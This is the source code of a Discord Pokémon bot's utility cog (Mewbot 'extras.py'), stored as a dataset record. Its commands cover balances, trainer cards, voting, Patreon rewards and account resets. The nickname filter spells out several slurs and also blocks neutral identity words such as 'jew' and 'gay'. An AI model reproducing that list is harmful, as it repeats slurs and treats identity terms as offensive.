\"\"\n for item in dets:\n if dets[item] > 0:\n desc += f\"{item.replace('-', ' ').capitalize()} : {dets[item]}x\\n\"\n if not desc:\n e = Embed(title=\"Your Current Bag\", color=0xFFB6C1, description=\"Empty :(\")\n await ctx.send(embed=e)\n return\n\n embed = Embed(title=\"Your Current Bag\", color=0xFFB6C1)\n pages = pagify(desc, per_page=20, base_embed=embed)\n await MenuView(ctx, pages).start()\n\n @commands.hybrid_command()\n async def visible(self, ctx):\n \"\"\"Sets the visiblility of your Trainer card to other users.\"\"\"\n async with ctx.bot.db[0].acquire() as pconn:\n await pconn.execute(\"UPDATE users SET visible = NOT visible WHERE u_id = $1\", ctx.author.id)\n await ctx.send(\"Toggled trainer card visibility!\")\n\n @commands.hybrid_command()\n async def updates(self, ctx):\n \"\"\"Lists recent updates.\"\"\"\n async with ctx.bot.db[0].acquire() as pconn:\n details = await pconn.fetch(\n \"SELECT id, dev, update, update_date FROM updates ORDER BY update_date DESC\"\n )\n updates = [t[\"update\"] for t in details]\n dates = [t[\"update_date\"] for t in details]\n devs = [t[\"dev\"] for t in details]\n desc = \"\"\n for idx, date in enumerate(dates):\n month = date.strftime(\"%B\")\n desc += f\"**{month} {date.day}, {date.year} - {devs[idx]}**\\n{updates[idx]}\\n\\n\"\n embed = discord.Embed(title=\"Recent Updates\", colour=0xFFB6C1)\n pages = pagify(desc, sep=\"\\n\\n\", per_page=5, base_embed=embed)\n await MenuView(ctx, pages).start()\n\n @commands.hybrid_command()\n async def status(self, ctx):\n \"\"\"Get statistical information of the bot\"\"\"\n embed = Embed(color=0xFFB6C1, url=\"https://mewbot.xyz/\")\n\n clusternum = 1\n shardnum = len(ctx.bot.shards)\n\n result = await ctx.bot.handler(\"num_processes\", 1, scope=\"launcher\")\n\n if result:\n clusternum = result[0][\"clusters\"]\n shardnum = result[0][\"shards\"]\n process_res = await ctx.bot.handler(\"_eval\", clusternum, args={\"body\": \"return len(bot.guilds)\", \"cluster_id\": \"-1\"}, scope=\"bot\")\n servernum = 0\n for cluster in process_res:\n servernum += int(cluster[\"message\"])\n else:\n clusternum = \"1\"\n shardnum = len(ctx.bot.shards)\n servernum = len(ctx.bot.guilds)\n\n embed.add_field(\n name=\"Statistics\",\n value=(\n f\"`Owner:` **{ctx.bot.owner.name}.**\\n\"\n \"`Developers:` **Neuro Assassin, Foreboding**\\n\"\n \"`Web Developer:` \\n\"\n \"`Dev. Helpers:`**Mabel**\\n\" \n f\"`Server count:` **{servernum:,}**\\n\"\n f\"`Shard count:` **{shardnum}**\\n\"\n f\"`Cluster count:` **{clusternum}**\\n\"\n \"\\n\"\n f\"`Discord version:` **{discord.__version__}**\\n\"\n f\"`Uptime:` **{ctx.bot.uptime}**\\n\"\n \"*Community thank you/credits page coming soon!*\\n\"\n ),\n )\n\n # give users a link to invite thsi bot to their server\n embed.add_field(\n name=\"Invite\",\n value=\"[Invite Me](https://discordapp.com/api/oauth2/authorize?client_id=519850436899897346&permissions=387136&scope=bot)\",\n )\n # embed.add_field(\n # name=\"Follow us on Social Media for fun events and rewards!\",\n # value=\"[`Reddit`](https://www.reddit.com/r/Mewbot/)\\n[`Instagram`](https://www.instagram.com/mewbot_official/)\\n[`Twitter`](https://twitter.com/MewbotOS)\",\n # )\n embed.add_field(\n name=\"Official Wiki Page\",\n value=\"[Wiki Tutorial](https://mewbot.wiki)\",\n )\n view = discord.ui.View(timeout=60)\n async def check(interaction):\n if interaction.user.id != ctx.author.id:\n await interaction.response.send_message(content=\"You are not allowed to interact with this button.\", ephemeral=True)\n return False\n return True\n view.interaction_check = check\n creditpage = discord.ui.Button(style=discord.ButtonStyle.gray, label=\"View Credits\")\n async def creditcallback(interaction):\n await self.credit_page(ctx)\n creditpage.callback = creditcallback\n view.add_item(creditpage)\n copyright = discord.ui.Button(style=discord.ButtonStyle.gray, label=\"View Copyright Info\")\n async def copyrightcallback(interaction):\n await self.copyright_page(ctx)\n copyright.callback = copyrightcallback\n view.add_item(copyright)\n await ctx.send(embed=embed, view=view)\n\n async def credit_page(self, ctx):\n \"\"\"\n Our Contributors\n \"\"\"\n desc = f\"**Soure Repo Credit**: [GitHub](https://github.com/skylarr1227/dittobot-open)\\n\"\n desc += f\"\\n**Various Artwork/Skins:**\"\n desc += f\"\\n\\n**Gleam Artwork:**\"\n desc += f\"\\n\\n**Art Team:**\"\n desc += f\"\\n\\n***More will be added soon!***\"\n embed = Embed(color=0xFFB6C1, description=desc)\n await ctx.send(embed=embed)\n\n async def copyright_page(self, ctx):\n \"\"\"\n Copyright Information\n \"\"\"\n desc = f\"**Copyright Information**:\\n\"\n desc += f\"\\n**Pokémon © 2002-2022 Pokémon.**\\n**© 1995-2022 Nintendo/Creatures Inc.**\\n**/GAME FREAK inc. TM, ® and Pokémon character names are trademarks of Nintendo.**\"\n desc += f\"\\n*No copyright or trademark infringement is intended in using Pokémon content within Mewbot.*\"\n desc += \" \"\n embed = Embed(color=0xFFB6C1, description=desc)\n await ctx.send(embed=embed)\n\n @commands.hybrid_command()\n async def claim(self, ctx):\n \"\"\"Claim upvote points!\"\"\"\n async with ctx.bot.db[0].acquire() as pconn:\n points = await pconn.fetchval(\n \"SELECT upvotepoints FROM users WHERE u_id = $1\", ctx.author.id\n )\n if points is None:\n await ctx.send(f\"You have not Started!\\nStart with `/start` first!\")\n return\n if points < 5:\n await ctx.send(\"You do not have enough Upvote Points for your rewards.\")\n return\n await pconn.execute(\n \"UPDATE users SET upvotepoints = upvotepoints - 5, redeems = redeems + $2, mewcoins = mewcoins + 15000 WHERE u_id = $1\",\n ctx.author.id,\n random.randint(1, 3 if random.randint(1, 3) == 1 else 1),\n )\n await ctx.send(\"Upvote Points Claimed!\")\n\n @commands.hybrid_command()\n async def ping(self, ctx):\n \"\"\"PONG\"\"\"\n embed = Embed(color=0xFFB6C1)\n lat = ctx.bot.latency * 1000\n if lat == float(\"inf\"):\n lat = \"Infinity :(\"\n else:\n lat = f\"{int(lat)}ms\"\n\n shard_id = ctx.guild.shard_id\n cluster_id = ctx.bot.cluster[\"id\"]\n cluster_name = ctx.bot.cluster[\"name\"]\n\n embed.title = f\"Cluster #{cluster_id} ({cluster_name})\"\n embed.description = f\"Shard {shard_id} - {lat}\"\n await ctx.send(embed=embed)\n\n @commands.hybrid_command()\n async def vote(self, ctx):\n \"\"\"Vote for the Bot & get voting rewards.\"\"\"\n async with self.bot.db[0].acquire() as pconn:\n data = await pconn.fetchrow(\"SELECT vote_streak, last_vote FROM users WHERE u_id = $1\", ctx.author.id)\n if data is None:\n vote_streak = 0\n elif data[\"last_vote\"] < time.time() - (36 * 60 * 60):\n vote_streak = 0\n else:\n vote_streak = data[\"vote_streak\"]\n embed = Embed(color=0xFFB6C1)\n embed.description = (\n \"Upvote **Mewbot** on the following websites and earn rewards for each!\\n\"\n \"[#1 top.gg](https://top.gg/bot/519850436899897346/vote)\\n\"\n \"[#2 Rovel Discord List](https://dscrdly.com/b/mewbot/vote)\\n\"\n \"[#3 DiscordBotList](https://discordbotlist.com/bots/mewbot/upvote)\\n\"\n f\"**Vote Streak:** `{vote_streak}` (only for top.gg)\"\n \"\\n------------------\\n\"\n #\"[#2 fateslist.xyz](https://fateslist.xyz/mewbot/vote)\\n\"\n \"Join the Official Server [here](https://discord.gg/mewbot) for support and join our huge community of Mewbot users!\"\n )\n embed.set_footer(text=\"You will receive 1 Upvote Point, 1,500 Credits and 5 Energy Bars automatically after upvoting!\")\n \n await ctx.send(embed=embed)\n emoji = random.choice(emotes)\n await ctx.send(emoji)\n\n @commands.hybrid_command()\n async def predeem(self, ctx):\n \"\"\"Claim patreon rewards.\"\"\"\n date = datetime.now()\n date = f\"{date.month}-{date.year}\"\n async with ctx.bot.db[0].acquire() as pconn:\n if not await pconn.fetchval(\n \"SELECT exists(SELECT * from users WHERE u_id = $1)\", ctx.author.id\n ):\n await ctx.send(\"You have not started!\\nStart with `/start` first!\")\n return\n last = await pconn.fetchval(\"SELECT lastdate FROM patreonstore WHERE u_id = $1\", ctx.author.id)\n if last == date:\n await ctx.send(\"You have already received your patreon redeems for this month... Come back later!\")\n return\n patreon_status = await ctx.bot.patreon_tier(ctx.author.id)\n if patreon_status is None:\n await ctx.send(\n \"I do not recognize you as a patron. Please double check that your membership is still active.\\n\"\n \"If you are currently a patron, but I don't recognize you, check the following things:\\n\\n\"\n \"**1.** If you subscribed within the last 15 minutes, the bot has not had enough time to process your patronage. \"\n \"Wait 15 minutes and try again. If waiting does not work, continue with the following steps.\\n\\n\"\n \"**2.** Check if you have linked your Discord account on your Patreon account. \"\n \"Follow this guide to make sure it is linked. \"\n \"\\n\\n\"\n \"**3.** Check that you subscribed to Patreon in a tier, instead of donating a custom amount. \"\n \"If you do not donate in a tier, the bot cannot identify what perks you are supposed to receive. \"\n \"Follow this guide to make sure you subscribe in a tier. \"\n \"It will explain how to make sure you are in a tier and explain how to subscribe to a tier with a custom amount. \"\n \"\\n\\n\"\n \"If none of the above worked, ask a staff member for further assistance.\"\n )\n return\n if patreon_status == \"Sapphire Tier\":\n amount = 150\n elif patreon_status == \"Crystal Tier\":\n amount = 75\n elif patreon_status == \"Silver Tier\":\n amount = 30\n elif patreon_status == \"Yellow Tier\":\n amount = 15\n elif patreon_status == \"Red Tier\":\n amount = 3\n else:\n await ctx.send(\"Uh oh, you have an invalid patreon tier! The tiers may have been modified without updating this command... Please report this bug!\")\n return\n async with ctx.bot.db[0].acquire() as pconn:\n if last is None:\n await pconn.execute(\n \"INSERT INTO patreonstore (u_id, lastdate) VALUES ($1, $2) ON CONFLICT DO NOTHING\", ctx.author.id, date\n )\n else:\n await pconn.execute(\n \"UPDATE patreonstore SET lastdate = $2 WHERE u_id = $1\", ctx.author.id, date\n )\n await pconn.execute(\n \"UPDATE users SET redeems = redeems + $2 WHERE u_id = $1\", ctx.author.id, amount\n )\n await ctx.send(f\"You have received **{amount}** redeems. Thank you for supporting Mewbot!\")\n\n @commands.hybrid_command()\n async def nick(self, ctx, nick: str=\"None\"):\n \"\"\"Set or reset your selected pokemon's nickname.\"\"\"\n if len(nick) > 150:\n await ctx.send(\"Nickname is too long!\")\n return\n if any(word in nick for word in (\"@here\", \"@everyone\", \"http\", \"nigger\", \"nigga\", \"gay\", \"fag\", \"kike\", \"jew\", \"faggot\")):\n await ctx.send(\"Nope.\")\n return\n async with ctx.bot.db[0].acquire() as pconn:\n await pconn.execute(\n \"UPDATE pokes SET poknick = $1 WHERE id = (SELECT selected FROM users WHERE u_id = $2)\",\n nick,\n ctx.author.id,\n )\n if nick == \"None\":\n await ctx.send(\"Successfully reset Pokemon nickname.\")\n return\n await ctx.send(f\"Successfully changed Pokemon nickname to {nick}.\")\n\n @commands.hybrid_command()\n async def stats(self, ctx):\n \"\"\"Show some statistics about yourself.\"\"\"\n async with ctx.bot.db[0].acquire() as tconn:\n details = await tconn.fetchrow(\"SELECT * FROM users WHERE u_id = $1\", ctx.author.id)\n inv = await tconn.fetchval(\n \"SELECT inventory::json FROM users WHERE u_id = $1\", ctx.author.id\n )\n if inv is None:\n await ctx.send(f\"You have not Started!\\nStart with `/start` first!\")\n return\n embed = discord.Embed(title=\"Your Stats\", color=0xFFB6C1)\n fishing_level = details[\"fishing_level\"]\n fishing_exp = details[\"fishing_exp\"]\n fishing_levelcap = details[\"fishing_level_cap\"]\n luck = details[\"luck\"]\n energy = do_health(10, details[\"energy\"])\n embed.add_field(name=\"Energy\", value=energy)\n case = inv[\"coin-case\"] if \"coin-case\" in inv else \"No Coin Case\"\n embed.add_field(\n name=\"Fishing Stats\",\n value=f\"Fishing Level - {fishing_level}\\nFishing Exp - {fishing_exp}/{fishing_levelcap}\",\n )\n embed.add_field(\n name=\"Game Corner Stats\",\n value=f\"Luck - {luck}\\nCoins - {case:,}\",\n )\n embed.set_footer(text=\"If You have some Energy go fishing!\")\n await ctx.send(embed=embed)\n \n @commands.hybrid_command()\n @discord.app_commands.describe(pokemon=\"The Pokémon to Shadow Hunt.\")\n async def hunt(self, ctx, pokemon: str):\n \"\"\"Select a Pokémon to shadow hunt & get a shadow skin for it if you get lucky!\"\"\"\n pokemon = pokemon.capitalize()\n if not pokemon in totalList:\n await ctx.send(\"You have chosen an invalid Pokemon.\")\n return\n async with ctx.bot.db[0].acquire() as pconn:\n data = await pconn.fetchrow(\"SELECT hunt, chain FROM users WHERE u_id = $1\", ctx.author.id)\n if data is None:\n await ctx.send(\"You have not started!\\nStart with `/start` first.\")\n return\n hunt, chain = data\n if hunt == pokemon:\n await ctx.send(\"You are already hunting that pokemon!\")\n return\n if chain > 0 and not await ConfirmView(ctx, f\"Are you sure you want to abandon your hunt for **{hunt}**?\\nYou will lose your streak of **{chain}**.\").wait():\n return\n async with ctx.bot.db[0].acquire() as pconn:\n await pconn.execute(\"UPDATE users SET hunt = $1, chain = 0 WHERE u_id = $2\", pokemon, ctx.author.id)\n e = discord.Embed(\n title=\"Shadow Hunt\",\n description=f\"Successfully changed shadow hunt selection to **{pokemon}**.\",\n color=0xFFB6C1,\n )\n e.set_image(url=await get_pokemon_image(pokemon, ctx.bot, skin=\"shadow\"))\n await ctx.send(embed=e)\n await ctx.bot.get_partial_messageable(958144112903729172).send(f\"`{ctx.author.id} - {hunt} @ {chain}x -> {pokemon}`\")\n \n @commands.hybrid_command()\n @discord.app_commands.describe(user=\"A User to view trainer information.\")\n async def trainer(self, ctx, user: discord.User=None):\n \"\"\"View your trainer card or the trainer card of another user.\"\"\"\n if user is None:\n user = ctx.author\n async with ctx.bot.db[0].acquire() as tconn:\n details = await tconn.fetchrow(\"SELECT * FROM users WHERE u_id = $1\", user.id)\n if details is None:\n await ctx.send(f\"{user.name} has not started!\")\n return\n if (\n not details[\"visible\"]\n and user.id != ctx.author.id\n and ctx.author.id != ctx.bot.owner_id\n ):\n await ctx.send(f\"You are not permitted to see the Trainer card of {user.name}\")\n return\n pokes = details[\"pokes\"]\n daycared = await tconn.fetchval(\n \"SELECT count(*) FROM pokes WHERE id = ANY ($1) AND pokname = 'Egg'\",\n pokes,\n )\n usedmarket = await tconn.fetchval(\n \"SELECT count(id) FROM market WHERE owner = $1 AND buyer IS NULL\", user.id\n )\n\n visible = details[\"visible\"]\n u_id = details[\"u_id\"]\n redeems = details[\"redeems\"]\n tnick = details[\"tnick\"]\n uppoints = details[\"upvotepoints\"]\n mewcoins = details[\"mewcoins\"]\n evpoints = details[\"evpoints\"]\n dlimit = details[\"daycarelimit\"]\n hitem = details[\"held_item\"]\n marketlimit = details[\"marketlimit\"]\n dets = details[\"inventory\"]\n count = len(pokes)\n is_staff = details[\"staff\"]\n\n embed = Embed(color=0xFFB6C1)\n if is_staff.lower() != \"user\":\n embed.set_author(\n name=f\"{tnick if tnick is not None else user.name} Trainer Card\",\n icon_url=\"https://cdn.discordapp.com/attachments/707730610650873916/773574461474996234/logo_mew.png\",\n )\n else:\n embed.set_author(\n name=f\"{tnick if tnick is not None else user.name} Trainer Card\"\n )\n embed.add_field(name=\"Redeems\", value=f\"{redeems:,}\", inline=True)\n embed.add_field(name=\"Upvote Points\", value=f\"{uppoints}\", inline=True)\n embed.add_field(\n name=\"Credits\",\n value=f\"{mewcoins:,}<:mewcoin:1010959258638094386>\",\n inline=True,\n )\n embed.add_field(name=\"Pokemon Count\", value=f\"{count:,}\", inline=True)\n embed.add_field(name=\"EV Points\", value=f\"{evpoints:,}\", inline=True)\n embed.add_field(name=\"Daycare spaces\", value=f\"{daycared}/{dlimit}\", inline=True)\n dets = ujson.loads(dets)\n dets.pop(\"coin-case\", None) if \"coin-case\" in dets else None\n for item in dets:\n embed.add_field(\n name=item.replace(\"-\", \" \").capitalize(),\n value=f\"{dets[item]}{'%' if 'shiny' in item or 'honey' in item else 'x'}\",\n inline=True,\n )\n patreon_status = await ctx.bot.patreon_tier(user.id)\n if patreon_status in (\"Crystal Tier\", \"Sapphire Tier\"):\n marketlimitbonus = CRYSTAL_PATREON_SLOT_BONUS\n elif patreon_status == \"Silver Tier\":\n marketlimitbonus = SILVER_PATREON_SLOT_BONUS\n elif patreon_status == \"Yellow Tier\":\n marketlimitbonus = YELLOW_PATREON_SLOT_BONUS\n elif patreon_status == \"Red Tier\":\n marketlimitbonus = PATREON_SLOT_BONUS\n else:\n marketlimitbonus = 0\n markettext = f\"{usedmarket}/{marketlimit}\"\n if marketlimitbonus:\n markettext += f\" (+ {marketlimitbonus}!)\"\n embed.add_field(name=\"Market spaces\", value=markettext, inline=True)\n if is_staff.lower() != \"user\":\n embed.set_footer(\n text=f\"Holding: {hitem.capitalize().replace('-',' ')}\",\n icon_url=\"https://cdn.discordapp.com/attachments/707730610650873916/773574461474996234/logo_mew.png\",\n )\n else:\n embed.set_footer(text=f\"Holding: {hitem.capitalize().replace('-',' ')}\")\n await ctx.send(embed=embed)\n\n @commands.hybrid_command()\n @discord.app_commands.describe(nickname=\"The Trainer Nickname to use.\")\n async def trainernick(self, ctx, nickname: str):\n \"\"\"Sets your trainer nickname.\"\"\"\n val = nickname\n if any(word in val for word in (\"@here\", \"@everyone\", \"http\")):\n await ctx.send(\"Nope.\")\n return\n if len(val) > 18:\n await ctx.send(\"Trainer nick too long!\")\n return\n if re.fullmatch(r\"^[ -~]*$\", val) is None:\n await ctx.send(\"Unicode characters cannot be used in your trainer nick.\")\n return\n if \"|\" in val:\n await ctx.send(\"`|` cannot be used in your trainer nick.\")\n return\n async with ctx.bot.db[0].acquire() as pconn:\n nick = await pconn.fetchval(\"SELECT tnick FROM users WHERE u_id = $1\", ctx.author.id)\n if nick is not None:\n await ctx.send(\"You have already set your trainer nick.\")\n return\n user = await pconn.fetchval(\"SELECT u_id FROM users WHERE tnick = $1\", val)\n if user is not None:\n await ctx.send(\"That nick is already taken. Try another one.\")\n return\n await pconn.execute(\"UPDATE users SET tnick = $1 WHERE u_id = $2\", val, ctx.author.id)\n await ctx.send(\"Successfully Changed Trainer Nick\")\n\n @commands.hybrid_command()\n @tradelock\n async def resetme(self, ctx):\n \"\"\"Resets your account & all data - This Cannot be UNDONE!\"\"\"\n cooldown = (\n await ctx.bot.redis_manager.redis.execute(\n \"HMGET\", \"resetcooldown\", str(ctx.author.id)\n )\n )[0]\n\n if cooldown is None:\n cooldown = 0\n else:\n cooldown = float(cooldown.decode(\"utf-8\"))\n\n if cooldown > time.time():\n reset_in = cooldown - time.time()\n cooldown = f\"{round(reset_in)}s\"\n await ctx.send(f\"Command on cooldown for {cooldown}\")\n return\n await ctx.bot.redis_manager.redis.execute(\n \"HMSET\", \"resetcooldown\", str(ctx.author.id), str(time.time() + 60 * 60 * 3)\n )\n\n prompts = [\n \"Are you sure you want to reset your account? This cannot be undone.\",\n (\n \"Are you **absolutely certain**? This will reset **all of your pokemon**, \"\n \"**all of your credits and redeems**, and anything else you have done on the bot and \"\n \"**cannot be undone**.\\nOnly click `Confirm` if you are **certain** you want this.\"\n ),\n ]\n for prompt in prompts:\n if not await ConfirmView(ctx, prompt).wait():\n await ctx.send(\"Canceling reset.\")\n return\n async with ctx.bot.db[0].acquire() as pconn:\n await pconn.execute(\"DELETE FROM redeemstore WHERE u_id = $1\", ctx.author.id)\n await pconn.execute(\"DELETE FROM cheststore WHERE u_id = $1\", ctx.author.id)\n await pconn.execute(\"DELETE FROM users WHERE u_id = $1\", ctx.author.id)\n await ctx.send(\"Your account has been reset. Start the bot again with `/start`.\")\n await ctx.bot.get_partial_messageable(999442907465523220).send(ctx.author.id)\n\n @commands.hybrid_command()\n async def invite(self, ctx):\n embed = Embed(title=\"Invite Me\", description=\"The invite link for MewBot\", color=0xFFB6C1)\n\n # invite l\n embed.add_field(\n name=\"Invite\",\n value=\"[Invite MewBot](https://discordapp.com/api/oauth2/authorize?client_id=519850436899897346&response_type=code&redirect_uri=https://discord.gg/mewbot&permissions=387136&scope=bot+applications.commands)\",\n )\n embed.add_field(\n name=\"Official Server\",\n value=\"[Join the Official Server](https://discord.gg/mewbot)\",\n )\n await ctx.send(embed=embed)\n\n @commands.hybrid_command()\n async def region(self, ctx, reg: Literal[\"original\", \"alola\", \"galar\", \"hisui\"]):\n \"\"\"Change your region to allow your Pokémon evolve into regional forms.\"\"\"\n if reg not in (\"original\", \"alola\", \"galar\", \"hisui\"):\n await ctx.send(\"That isn't a valid region! Select one of `original`, `alola`, `galar`, `hisui`.\")\n return\n async with ctx.bot.db[0].acquire() as pconn:\n await pconn.execute(\"UPDATE users SET region = $1 WHERE u_id = $2\", reg, ctx.author.id)\n await ctx.send(f\"Your region has been set to **{reg.title()}**.\")\n\n @commands.hybrid_command()\n @discord.app_commands.describe(user=\"A User to view their balance details.\")\n async def bal(self, ctx, user: discord.User=None):\n \"\"\"Shows your Balance & Lists credits, redeems, EV points, upvote points, and selected fishing rod.\"\"\"\n if user is None:\n user = ctx.author\n async with ctx.bot.db[0].acquire() as tconn:\n details = await tconn.fetchrow(\"SELECT * FROM users WHERE u_id = $1\", user.id)\n if details is None:\n await ctx.send(f\"{user.name} has not started!\")\n return\n if (\n not details[\"visible\"]\n and user.id != ctx.author.id\n and ctx.author.id != ctx.bot.owner_id\n ):\n await ctx.send(f\"You are not permitted to see the Trainer card of {user.name}\")\n return\n if details[\"last_vote\"] < time.time() - (36 * 60 * 60):\n vote_streak = 0\n else:\n vote_streak = details[\"vote_streak\"]\n pokes = details[\"pokes\"]\n visible = details[\"visible\"]\n u_id = details[\"u_id\"]\n redeems = details[\"redeems\"]\n tnick = details[\"tnick\"]\n uppoints = details[\"upvotepoints\"]\n mewcoins = details[\"mewcoins\"]\n evpoints = details[\"evpoints\"]\n count = len(pokes)\n is_staff = details[\"staff\"]\n region = details[\"region\"]\n staffrank = await tconn.fetchval(\"SELECT staff FROM users WHERE u_id = $1\", user.id)\n hitem = details[\"held_item\"]\n desc = f\"{tnick if tnick is not None else user.name}'s\\n__**Balances**__\"\n desc += f\"\\n<:mewcoin:1010959258638094386>**Credits**: `{mewcoins:,}`\"\n desc += f\"\\n<:rtedee2m:817647281364271144>**Redeems**: `{redeems:,}`\"\n desc += f\"\\n<:evs:818149979428093983>**EV Points**: `{evpoints:,}`\"\n desc += f\"\\n<:upvote:817898847320801300>**Upvote Points**: `{uppoints}`\"\n desc += f\"\\n<:upvote:817898847320801300>**Vote Streak**: `{vote_streak}`\"\n desc += f\"\\n**Holding**: `{hitem.capitalize().replace('-',' ')}`\"\n desc += f\"\\n**Region**: `{region.capitalize()}`\"\n embed = Embed(color=0xFFB6C1, description=desc)\n if is_staff.lower() != \"user\":\n embed.set_author(\n name=f\"Official Staff Member\",\n icon_url=\"https://cdn.discordapp.com/attachments/707730610650873916/843250286998192128/moshed-05-15-17-30-34.gif\",\n )\n embed.add_field(\n name=\"Bot Staff Rank\",\n value=f\"{staffrank}\",\n )\n else:\n embed.set_author(\n name=f\"Trainer Information\"\n )\n view = discord.ui.View(timeout=60)\n async def check(interaction):\n if interaction.user.id != ctx.author.id:\n await interaction.response.send_message(content=\"You are not allowed to interact with this button.\", ephemeral=True)\n return False\n return True\n view.interaction_check = check\n chest = discord.ui.Button(style=discord.ButtonStyle.gray, label=\"View chests\")\n async def chestcallback(interaction):\n await self.balance_chests(ctx, user)\n chest.callback = chestcallback\n view.add_item(chest)\n misc = discord.ui.Button(style=discord.ButtonStyle.gray, label=\"View misc\")\n async def misccallback(interaction):\n await self.balance_misc(ctx, user)\n misc.callback = misccallback\n view.add_item(misc)\n await ctx.send(embed=embed, view=view)\n\n async def balance_chests(self, ctx, user: discord.User=None):\n \"\"\"Lists the current chests you have to open.\"\"\"\n if user is None:\n user = ctx.author\n async with ctx.bot.db[0].acquire() as pconn:\n details = await pconn.fetchrow(\"SELECT * FROM users WHERE u_id = $1\", user.id)\n if details is None:\n await ctx.send(f\"{user.name} has not started!\")\n return\n if (\n not details[\"visible\"]\n and user.id != ctx.author.id\n and ctx.author.id != ctx.bot.owner_id\n ):\n await ctx.send(f\"You are not permitted to see how many chests {user.name} has\")\n return\n inv = await pconn.fetchval(\"SELECT inventory::json FROM users WHERE u_id = $1\", user.id)\n common = inv.get(\"common chest\", 0)\n rare = inv.get(\"rare chest\", 0)\n mythic = inv.get(\"mythic chest\", 0)\n legend = inv.get(\"legend chest\", 0)\n is_staff = details[\"staff\"]\n hitem = details[\"held_item\"]\n tnick = details[\"tnick\"]\n desc = f\"*current totals*\"\n desc += f\"\\n<:lchest1:1010889611318411385><:lchest2:1010889654800756797> `legend`\"\n desc += f\"\\n<:lchest4:1010889740138061925><:lchest3:1010889697687511080>: {legend}\"\n\n desc += f\"\\n<:mchest1:1010889412558717039><:mchest2:1010889464119300096> `mythic`\"\n desc += f\"\\n<:mchest3:1010889506838302821><:mchest4:1010889554418487347>: {mythic}\"\n\n desc += f\"\\n<:rchest1:1010889168802562078><:rchest2:1010889239988277269> `rare`\"\n desc += f\"\\n<:rchest3:1010889292672942101><:rchest4:1010889342639677560>: {rare}\"\n\n desc += f\"\\n<:cchest1:1010888643369500742><:cchest2:1010888709031350333> `common`\"\n desc += f\"\\n<:cchest2:1010888756540215297><:cchest4:1010888875536822353>: {common}\"\n embed = Embed(color=0xFFB6C1, description=desc)\n if is_staff.lower() != \"user\":\n embed.set_author(\n name=f\"{tnick if tnick is not None else user.name}'s Chests\",\n icon_url=\"https://cdn.discordapp.com/attachments/707730610650873916/773574461474996234/logo_mew.png\",\n )\n else:\n embed.set_author(\n name=f\"{tnick if tnick is not None else user.name}'s Chests\"\n )\n await ctx.send(embed=embed)\n\n async def balance_misc(self, ctx, user: discord.User=None):\n \"\"\"\n Lists other miscellaneous data.\n\n Includes held item, pokemon owned, market slots, egg slots, \n bicycle, honey, gleam gems, IV mult, nature capsules, \n shiny multi, battle multi, and breeding multi.\n \"\"\"\n if user is None:\n user = ctx.author\n async with ctx.bot.db[0].acquire() as pconn:\n details = await pconn.fetchrow(\"SELECT * FROM users WHERE u_id = $1\", user.id)\n if details is None:\n await ctx.send(f\"{user.name} has not started!\")\n return\n if (\n not details[\"visible\"]\n and user.id != ctx.author.id\n and ctx.author.id != ctx.bot.owner_id\n ):\n await ctx.send(f\"You are not permitted to see how many chests {user.name} has\")\n return\n pokes = details[\"pokes\"]\n daycared = await pconn.fetchval(\n \"SELECT count(*) FROM pokes WHERE id = ANY ($1) AND pokname = 'Egg'\",\n pokes,\n )\n usedmarket = await pconn.fetchval(\n \"SELECT count(id) FROM market WHERE owner = $1 AND buyer IS NULL\", user.id\n )\n bike = details[\"bike\"]\n visible = details[\"visible\"]\n u_id = details[\"u_id\"]\n tnick = details[\"tnick\"]\n dlimit = details[\"daycarelimit\"]\n hitem = details[\"held_item\"]\n marketlimit = details[\"marketlimit\"]\n dets = details[\"inventory\"]\n count = len(pokes)\n is_staff = details[\"staff\"]\n hunt = details[\"hunt\"]\n huntprogress = details[\"chain\"]\n patreon_status = await ctx.bot.patreon_tier(user.id)\n if patreon_status in (\"Crystal Tier\", \"Sapphire Tier\"):\n marketlimitbonus = CRYSTAL_PATREON_SLOT_BONUS\n elif patreon_status == \"Silver Tier\":\n marketlimitbonus = SILVER_PATREON_SLOT_BONUS\n elif patreon_status == \"Yellow Tier\":\n marketlimitbonus = YELLOW_PATREON_SLOT_BONUS\n elif patreon_status == \"Red Tier\":\n marketlimitbonus = PATREON_SLOT_BONUS\n else:\n marketlimitbonus = 0\n markettext = f\"{usedmarket}/{marketlimit}\"\n if marketlimitbonus:\n markettext += f\" (+ {marketlimitbonus}!)\"\n desc = f\"**Held Item**: `{hitem}`\"\n desc += f\"\\n**Pokemon Owned**: `{count:,}`\"\n desc += f\"\\n**Market Slots**: `{markettext}`\"\n desc += f\"| **Daycare Slots**: `{daycared}/{dlimit}`\"\n if hunt:\n desc += f\"\\n**Shadow Hunt**: {hunt} ({huntprogress}x)\"\n else:\n desc += f\"\\n**Shadow Hunt**: Select with `/hunt`!\"\n desc += f\"\\n**Bicycle**: {bike}\"\n desc += \"\\n**General Inventory**\\n\"\n dets = ujson.loads(dets)\n dets.pop(\"coin-case\", None) if \"coin-case\" in dets else None\n for item in dets:\n if item in ('common chest', 'rare chest', 'mythic chest', 'legend chest'):\n continue\n if 'breeding' in item:\n desc += f\"{item.replace('-', ' ').capitalize()} `{dets[item]}` `({calculate_breeding_multiplier(dets[item])})`\\n\"\n elif 'iv' in item:\n desc += f\"{item.replace('-', ' ').capitalize()} `{dets[item]}` `({calculate_iv_multiplier(dets[item])})`\\n\"\n else:\n desc += f\"{item.replace('-', ' ').capitalize()} `{dets[item]}`x\\n\"\n embed = Embed(color=0xFFB6C1, description=desc)\n if is_staff.lower() != \"user\":\n embed.set_author(\n name=f\"{tnick if tnick is not None else user.name}'s Miscellaneous Balances\",\n icon_url=\"https://cdn.discordapp.com/attachments/707730610650873916/773574461474996234/logo_mew.png\",\n )\n else:\n embed.set_author(\n name=f\"{tnick if tnick is not None else user.name}'s Miscellaneous Balances\"\n )\n await ctx.send(embed=embed)\n\nasync def setup(bot):\n await bot.add_cog(Extras(bot))\n","repo_name":"sylveonnotdeko/mewbot","sub_path":"mew/mewcogs/extras.py","file_name":"extras.py","file_ext":"py","file_size_in_byte":48246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"2785932476","text":"import cv2\nimport numpy as np\nimport os\nimport pandas as pd\nimport tensorflow as tf\nfrom tqdm import tqdm\n\nfrom utils.preprocessing import auto_body_crop\nfrom utils.data import read_csv\nfrom utils.gradcam import gradcam_main\n\n\nISIZE = 256\n\ndef from_img(test_df):\n model_name = \"model/model_2_calssi_20220428-115231\"\n print(\"[INFO] MODEL NAME: \", model_name)\n model = tf.keras.models.load_model(model_name)\n scans = []\n y_real = []\n pred_per_paz = []\n count_ric_per_paz = []\n 